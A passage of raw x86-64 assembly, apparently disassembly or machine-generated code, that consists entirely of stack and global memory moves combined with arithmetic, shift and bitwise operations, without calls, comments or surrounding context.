mov rcx, qword [rsp + 0x4fb0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5538]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7d]
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4fa0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5110], rax
mov eax, dword [rsp + 0x2a44]
movzx ecx, al
mov eax, dword [rsp + 0x2a90]
sar eax, cl
mov rcx, qword [rsp + 0x5330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d68]
mov qword [rsp + 0x5628], rax
mov rax, qword [rsp + 0x4e98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2ad4]
shl eax, cl
mov dword [rsp + 0x2af8], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x8f], al
mov rax, qword [rsp + 0x5168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
and eax, ecx
mov word [0x140178e9c], ax
movsx eax, word [rsp + 0x8e4]
mov rcx, qword [rsp + 0x55e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x53e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86]
add eax, ecx
mov rcx, qword [rsp + 0x5128]
mov byte [rcx], al
lea rax, [rsp + 0x924]
mov qword [rsp + 0x5630], rax
mov rax, qword [rsp + 0x4eb0]
mov rcx, qword [rsp + 0x5610]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5268], rax
mov rax, qword [rsp + 0x5448]
mov rax, qword [rax]
mov qword [rsp + 0x5638], rax
mov rax, qword [rsp + 0x53b8]
mov ecx, dword [rsp + 0x2a7c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28f4], eax
movzx eax, word [rsp + 0x904]
mov word [rsp + 0x978], ax
mov rax, qword [0x14017a128]
movzx eax, byte [rax]
mov byte [0x14017a057], al
movsx eax, byte [rsp + 0x81]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x52], al
movzx eax, byte [rsp + 0x63]
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
and eax, ecx
mov word [rsp + 0x87c], ax
lea rax, [rsp + 0x918]
mov qword [rsp + 0x5640], rax
mov rax, qword [rsp + 0x5398]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae8], eax
mov rax, qword [rsp + 0x50d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b80]
mov qword [rsp + 0x5648], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5648]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4f78]
mov qword [rsp + 0x5650], rax
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x5088]
mov qword [rsp + 0x5658], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5658]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5438]
mov qword [rcx], rax
mov rax, qword [0x14017a098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
xor eax, ecx
mov word [0x140178ec0], ax
mov rax, qword [rsp + 0x5390]
movzx eax, byte [rax]
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0x5428]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5128]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5520]
mov byte [rcx], al
mov rax, qword [rsp + 0x5630]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x874], ax
lea rax, [rsp + 0x884]
mov qword [rsp + 0x5660], rax
mov rax, qword [rsp + 0x54b0]
mov rcx, qword [rsp + 0x4f40]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4f00], rax
lea rax, str.kD3
mov qword [rsp + 0x5668], rax
mov rax, qword [rsp + 0x50b0]
mov ecx, dword [rsp + 0x2ad8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a5c]
mov ecx, dword [rsp + 0x2970]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5398]
mov dword [rcx], eax
mov rax, qword [0x14017a110]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x55e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e8b], al
lea rax, [rsp + 0x868]
mov qword [rsp + 0x5670], rax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov rcx, qword [rsp + 0x55a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x92c]
mov word [rsp + 0x97c], ax
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5390]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6e], al
mov rax, qword [rsp + 0x5320]
mov rax, qword [rax]
mov qword [rsp + 0x5678], rax
mov rax, qword [rsp + 0x50d0]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x50f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e60]
mov rcx, qword [rsp + 0x5548]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x52c8]
mov qword [rcx], rax
lea rax, [rsp + 0x29c4]
mov qword [rsp + 0x5680], rax
lea rax, [rsp + 0x6f]
mov qword [0x14017a198], rax
mov rax, qword [rsp + 0x4e48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5100]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x948], ax
lea rax, [rsp + 0x86]
mov qword [rsp + 0x5688], rax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [rsp + 0x7e]
sar eax, cl
mov rcx, qword [rsp + 0x5430]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8b8]
shl eax, cl
mov word [rsp + 0x930], ax
mov eax, dword [rsp + 0x2aa0]
mov dword [rsp + 0x2b0c], eax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5548]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x5200]
mov eax, dword [rax]
mov dword [rsp + 0x2b10], eax
mov rax, qword [rsp + 0x5498]
mov rcx, qword [rsp + 0x5458]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5510]
mov qword [rcx], rax
movsx eax, byte [0x140178e5c]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [0x14017a051], al
movzx eax, word [rsp + 0x964]
movzx ecx, word [rsp + 0x8cc]
sub eax, ecx
mov word [rsp + 0x910], ax
lea rax, [rsp + 0x958]
mov qword [rsp + 0x5690], rax
mov rax, qword [0x14017a0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d28]
mov byte [rcx], al
lea rax, [rsp + 0x73]
mov qword [rsp + 0x5698], rax
mov rax, qword [rsp + 0x50c0]
mov ecx, dword [rsp + 0x2a9c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a5c], eax
mov rax, qword [rsp + 0x50b0]
mov ecx, dword [rsp + 0x2a70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ab4], eax
mov rax, qword [rsp + 0x4ac8]
mov qword [rsp + 0x56a0], rax
mov rax, qword [rsp + 0x5438]
mov rcx, qword [rsp + 0x5320]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5600], rax
movsx eax, byte [0x14017a051]
movsx ecx, byte [rsp + 0x87]
add eax, ecx
mov rcx, qword [0x14017a138]
mov byte [rcx], al
movzx eax, word [rsp + 0x8e4]
mov word [rsp + 0x980], ax
mov rax, qword [rsp + 0x53c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
add eax, ecx
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0x54c8]
movzx eax, word [rax]
mov word [rsp + 0x984], ax
mov rax, qword [rsp + 0x5028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8f8]
add eax, ecx
mov word [rsp + 0x8dc], ax
mov rax, qword [rsp + 0x5408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f70]
mov dword [rcx], eax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0x56a8], rax
mov rax, qword [rsp + 0x5050]
mov rcx, qword [rsp + 0x4ec8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5678], rax
mov rax, qword [rsp + 0x5240]
mov eax, dword [rax]
mov dword [rsp + 0x2b14], eax
movzx eax, word [0x140178e98]
movzx ecx, word [rsp + 0x86c]
shl eax, cl
mov word [0x140178ec4], ax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x55a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [0x140178ea8]
xor eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov word [rcx], ax
movzx eax, word [rsp + 0x924]
mov word [rsp + 0x988], ax
mov rax, qword [rsp + 0x5248]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75]
sar eax, cl
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x4f10]
mov rax, qword [rax]
mov qword [rsp + 0x56b0], rax
mov rax, qword [rsp + 0x50f8]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5618]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b04]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5060]
mov dword [rcx], eax
lea rax, [0x140178e60]
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a088]
mov byte [rcx], al
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57]
and eax, ecx
mov rcx, qword [rsp + 0x54b8]
mov byte [rcx], al
movzx eax, word [0x140178ebc]
mov word [rsp + 0x98c], ax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x898]
sub eax, ecx
mov word [rsp + 0x864], ax
movzx eax, byte [rsp + 0x7d]
movzx ecx, byte [rsp + 0x7f]
sub eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
mov rax, qword [rsp + 0x5368]
mov eax, dword [rax]
mov dword [rsp + 0x2b18], eax
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5338]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5500]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov qword [rsp + 0x56c0], rax
mov eax, dword [rsp + 0x2ac8]
mov ecx, dword [rsp + 0x2b0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov word [rsp + 0x990], ax
movzx eax, word [rsp + 0x8dc]
mov word [0x14017a1a0], ax
movsx eax, byte [rsp + 0x81]
movsx ecx, byte [0x14017a050]
sub eax, ecx
mov rcx, qword [rsp + 0x5390]
mov byte [rcx], al
mov rax, qword [rsp + 0x5098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a]
shl eax, cl
mov rcx, qword [rsp + 0x4e78]
mov byte [rcx], al
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x55f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5268], rax
lea rax, [rsp + 0x2b00]
mov qword [rsp + 0x56c8], rax
mov eax, dword [rsp + 0x2a44]
mov ecx, dword [rsp + 0x29f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b18], eax
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [rsp + 0x4fe8]
mov qword [rsp + 0x56d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x56d0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x52d8], rax
lea rax, [rsp + 0x960]
mov qword [rsp + 0x56d8], rax
mov rax, qword [rsp + 0x4f98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
and eax, ecx
mov word [0x140178e98], ax
movsx eax, byte [rsp + 0x5e]
movsx ecx, byte [rsp + 0x69]
sub eax, ecx
mov byte [rsp + 0x5d], al
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x56e0], rax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x67]
sub eax, ecx
mov rcx, qword [rsp + 0x5608]
mov byte [rcx], al
mov rax, qword [rsp + 0x5668]
mov rcx, qword [rsp + 0x4fa0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56b8]
mov rax, qword [rax]
mov qword [rsp + 0x56e8], rax
mov rax, qword [rsp + 0x51f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a54], eax
mov eax, dword [0x140178e8c]
mov dword [rsp + 0x2b1c], eax
mov rax, qword [rsp + 0x4e48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x55e8]
mov word [rcx], ax
lea rax, [rsp + 0x7f]
mov qword [0x14017a1a8], rax
mov rax, qword [rsp + 0x5378]
movzx eax, word [rax]
mov word [rsp + 0x994], ax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5520]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5040]
mov byte [rcx], al
movsx eax, word [rsp + 0x948]
mov rcx, qword [rsp + 0x53d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5670]
mov word [rcx], ax
mov rax, qword [rsp + 0x5588]
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x5330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a94]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5328]
mov dword [rcx], eax
lea rax, [rsp + 0x2a4c]
mov qword [rsp + 0x56f8], rax
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x56b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x55d0], rax
mov rax, qword [rsp + 0x54d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5208]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x89c], ax
lea rax, [rsp + 0x54]
mov qword [0x14017a1b0], rax
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0x93], al
mov rax, qword [0x14017a088]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5340]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x61], al
lea rax, [rsp + 0x97c]
mov qword [rsp + 0x5700], rax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x51f0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5058]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov ecx, dword [0x140178e6c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x55b8]
mov dword [rcx], eax
lea rax, [rsp + 0x5230]
mov qword [rsp + 0x5708], rax
mov rax, qword [rsp + 0x55c0]
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4eb0], rax
lea rax, [rsp + 0x2a40]
mov qword [rsp + 0x5710], rax
movsx eax, byte [rsp + 0x7b]
movsx ecx, byte [rsp + 0x5e]
sub eax, ecx
mov byte [0x140178e75], al
mov rax, qword [rsp + 0x5508]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5630]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e18]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5298]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e38]
movzx eax, word [rax]
mov word [rsp + 0x998], ax
movzx eax, byte [rsp + 0x77]
movzx ecx, byte [0x14017a054]
add eax, ecx
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x5610]
mov qword [rsp + 0x5718], rax
mov rax, qword [rsp + 0x5270]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x5438]
mov rax, qword [rax]
mov qword [rsp + 0x5720], rax
mov rax, qword [rsp + 0x5018]
mov rcx, qword [rsp + 0x52e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a7c], eax
mov rax, qword [rsp + 0x5640]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
add eax, ecx
mov rcx, qword [0x14017a150]
mov word [rcx], ax
movzx eax, byte [rsp + 0x83]
movzx ecx, byte [0x140178e5e]
add eax, ecx
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0x53d8]
movzx eax, word [rax]
mov word [rsp + 0x99c], ax
movzx eax, word [rsp + 0x914]
mov rcx, qword [rsp + 0x5700]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4fe0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5440]
movzx eax, byte [rax]
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x56c8]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5220]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0x5438]
mov qword [rsp + 0x5728], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5728]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x54a0], rax
lea rax, [rsp + 0x2ae8]
mov qword [rsp + 0x5730], rax
mov rax, qword [rsp + 0x56a8]
mov rcx, qword [rsp + 0x4b88]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5350]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5390]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x140178e92], al
mov rax, qword [rsp + 0x5300]
movzx eax, word [rax]
mov word [rsp + 0x9a0], ax
movsx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0x53c8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5440]
mov byte [rcx], al
movzx eax, word [rsp + 0x91c]
movzx ecx, word [rsp + 0x8e0]
sub eax, ecx
mov rcx, qword [rsp + 0x4f98]
mov word [rcx], ax
mov rax, qword [0x14017a090]
movzx eax, byte [rax]
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0x5528]
mov rcx, qword [rsp + 0x5720]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5130], rax
mov eax, dword [rsp + 0x2b10]
mov dword [rsp + 0x2b20], eax
mov rax, qword [rsp + 0x4f10]
mov rcx, qword [rsp + 0x4eb0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5450], rax
lea rax, [rsp + 0x2ad4]
mov qword [rsp + 0x5738], rax
lea rax, [rsp + 0x61]
mov qword [0x14017a1b8], rax
mov rax, qword [rsp + 0x5578]
movsx eax, word [rax]
mov rcx, qword [0x14017a188]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5630]
mov word [rcx], ax
movzx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x5298]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6d]
mov byte [rsp + 0x96], al
mov rax, qword [rsp + 0x5340]
movsx eax, byte [rax]
mov rcx, qword [0x14017a1b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x4fc0]
mov qword [rsp + 0x5740], rax
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x56f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x4e88]
mov rcx, qword [rsp + 0x4ed8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5180], rax
lea rax, [rsp + 0x2a60]
mov qword [rsp + 0x5748], rax
movzx eax, byte [rsp + 0x86]
movzx ecx, byte [rsp + 0x75]
shl eax, cl
mov byte [0x140178e74], al
movsx eax, word [rsp + 0x940]
mov rcx, qword [rsp + 0x5670]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x8e8], ax
movzx eax, word [rsp + 0x954]
mov word [rsp + 0x9a4], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
xor eax, ecx
mov rcx, qword [rsp + 0x5030]
mov byte [rcx], al
movzx eax, byte [0x140178e5e]
mov rcx, qword [rsp + 0x5520]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5468]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f40]
mov qword [rsp + 0x5750], rax
mov rax, qword [rsp + 0x4ca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a88], eax
lea rax, [rsp + 0x2a38]
mov qword [rsp + 0x5758], rax
mov rax, qword [rsp + 0x56a8]
mov rcx, qword [rsp + 0x5668]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x5028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x55e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178ea0], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x5070]
movzx eax, byte [rax]
mov byte [rsp + 0x97], al
movzx eax, word [rsp + 0x91c]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov rcx, qword [rsp + 0x4fb0]
mov word [rcx], ax
lea rax, [0x140178eb4]
mov qword [rsp + 0x5760], rax
mov rax, qword [rsp + 0x54b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x55b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
lea rax, [rsp + 0x5610]
mov qword [rsp + 0x5768], rax
mov rax, qword [rsp + 0x5730]
mov rcx, qword [rsp + 0x5328]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5160]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x4aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a48], eax
lea rax, [rsp + 0x54]
mov qword [0x14017a1c0], rax
movzx eax, byte [rsp + 0x6e]
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x5538]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x54c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x8ac]
mov word [rsp + 0x9a8], ax
movzx eax, word [rsp + 0x984]
movzx ecx, word [rsp + 0x8d8]
and eax, ecx
mov word [rsp + 0x990], ax
mov rax, qword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0x5420]
mov qword [rsp + 0x5770], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5770]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5288]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b18]
mov dword [rsp + 0x2b24], eax
mov rax, qword [rsp + 0x56c8]
mov ecx, dword [rsp + 0x2ab4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2a8c], eax
mov rax, qword [rsp + 0x5480]
mov rax, qword [rax]
mov qword [rsp + 0x5778], rax
movsx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0x5390]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x76], al
lea rax, [rsp + 0x8dc]
mov qword [0x14017a1c8], rax
movzx eax, byte [rsp + 0x5b]
movzx ecx, byte [rsp + 0x6d]
shl eax, cl
mov rcx, qword [rsp + 0x5098]
mov byte [rcx], al
lea rax, [rsp + 0x978]
mov qword [rsp + 0x5780], rax
movzx eax, byte [rsp + 0x7a]
movzx ecx, byte [0x140178e74]
add eax, ecx
mov rcx, qword [rsp + 0x5428]
mov byte [rcx], al
mov rax, qword [rsp + 0x5138]
mov qword [rsp + 0x5788], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x2a38]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5388]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53f0]
mov rcx, qword [rsp + 0x5230]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4b30], rax
mov rax, qword [rsp + 0x5270]
mov eax, dword [rax]
mov dword [rsp + 0x2b28], eax
movzx eax, word [rsp + 0x994]
movzx ecx, word [rsp + 0x8cc]
add eax, ecx
mov rcx, qword [rsp + 0x54f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x54e0]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a051]
add eax, ecx
mov rcx, qword [0x14017a0a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x90c]
mov word [rsp + 0x9ac], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8c4]
sub eax, ecx
mov word [rsp + 0x910], ax
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x99], al
mov eax, dword [rsp + 0x2af0]
mov ecx, dword [rsp + 0x2ad0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4e60]
mov rcx, qword [rsp + 0x4f88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x55a8], rax
lea rax, [0x140178e8c]
mov qword [rsp + 0x5790], rax
mov rax, qword [rsp + 0x52a8]
mov rcx, qword [rsp + 0x5140]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x53c0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x9a], al
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
movsx ecx, word [0x140178e70]
sub eax, ecx
mov rcx, qword [0x14017a108]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a0]
add eax, ecx
mov word [rsp + 0x874], ax
movzx eax, word [rsp + 0x9a4]
movzx ecx, word [rsp + 0x8a8]
sar eax, cl
mov word [rsp + 0x908], ax
mov rax, qword [0x14017a088]
movzx eax, byte [rax]
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x5140]
mov rcx, qword [rsp + 0x5078]
mov qword [rsp + 0x5798], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5798]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
lea rax, [rsp + 0x2aa8]
mov qword [rsp + 0x57a0], rax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [0x14017a060]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2afc], eax
mov rax, qword [rsp + 0x4fc0]
mov rcx, qword [rsp + 0x4b88]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5778], rax
lea rax, [rsp + 0x96]
mov qword [rsp + 0x57a8], rax
lea rax, [rsp + 0x874]
mov qword [0x14017a1d0], rax
movsx eax, byte [rsp + 0x9b]
movsx ecx, byte [rsp + 0x7e]
and eax, ecx
mov byte [rsp + 0x55], al
lea rax, [rsp + 0x64]
